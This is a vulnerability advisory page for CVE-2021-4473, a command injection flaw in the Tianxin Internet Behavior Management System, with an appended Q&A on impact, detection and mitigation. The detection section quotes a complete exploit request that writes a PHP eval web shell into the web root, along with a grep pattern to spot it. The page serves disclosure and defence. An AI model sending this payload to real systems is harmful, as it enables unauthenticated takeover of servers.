CVE-2021-4473
Command Injection in Tianxin Reporter Enables Remote Code Execution
Publication date: 2026-04-07
Last updated on: 2026-04-24
Assigner: VulnCheck
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| topsecgroup | tianxin_internet_behavior_management_system | to 4.0.0.7_20210716.180815 (exc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2021-4473 is a command injection vulnerability in the Tianxin Internet Behavior Management System's Reporter component, specifically in the toQuery.php endpoint. An unauthenticated attacker can exploit this flaw by sending a specially crafted objClass parameter containing shell metacharacters and output redirection. This allows the attacker to execute arbitrary operating system commands with the privileges of the web server process.
Exploitation can lead to writing malicious PHP files into the web root, enabling remote code execution. For example, attackers can upload a web shell that allows them to run arbitrary PHP code on the server, potentially gaining full control over the system.
How can this vulnerability impact me? :
This vulnerability can have severe impacts including remote code execution on the affected system without any authentication. Attackers can upload malicious PHP files (web shells) to the server, allowing them to execute arbitrary commands and potentially gain root-level access.
Such control can lead to full system compromise, data theft, service disruption, and further attacks within the network. Because the vulnerability requires no privileges or user interaction, it is highly dangerous and can be exploited remotely over the network.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by monitoring for suspicious HTTP GET requests targeting the vulnerable endpoint `/view/Behavior/toQuery.php` with crafted parameters that include shell metacharacters and output redirection.
A specific example of a malicious request used to exploit this vulnerability is:
- GET /view/Behavior/toQuery.php?method=getList&objClass=%0aecho%20'Junsheng<?php @eval($_POST['shellpass']);?>'>/var/www/reporter/view/Behavior/tsdakkico.php%0a HTTP/1.1
To detect exploitation attempts, you can search your web server logs for requests to `/view/Behavior/toQuery.php` containing suspicious objClass parameters with shell metacharacters or PHP code injection patterns.
Example commands to detect such attempts might include:
- grep -i 'toQuery.php' /var/log/httpd/access_log | grep -E 'objClass=.*(%0a|echo|<?php|shellpass)'
- tcpdump or Wireshark filters to capture HTTP GET requests to `/view/Behavior/toQuery.php` with suspicious parameters.
What immediate steps should I take to mitigate this vulnerability?
The immediate mitigation step is to upgrade the Tianxin Internet Behavior Management System to the fixed version NACFirmware_4.0.0.7_20210716.180815_topsec_0_basic.bin or later.
Until the upgrade can be applied, you should restrict access to the vulnerable endpoint `/view/Behavior/toQuery.php` by implementing network-level controls such as firewall rules or web application firewall (WAF) rules to block suspicious requests containing shell metacharacters or unusual parameters.
Additionally, monitor your system for any signs of compromise, such as unexpected PHP files in the web root (e.g., web shells like tsdakkico.php), and remove any malicious files found.
Perform a thorough audit of your system logs and running processes to detect and respond to any exploitation attempts.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability allows unauthenticated attackers to execute arbitrary commands and achieve remote code execution with the privileges of the web server process, potentially leading to unauthorized access, data breach, and system compromise.
Such unauthorized access and potential data breaches can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of sensitive data and maintaining system integrity and confidentiality.
However, the provided information does not explicitly discuss the direct impact on compliance with these standards or any regulatory implications.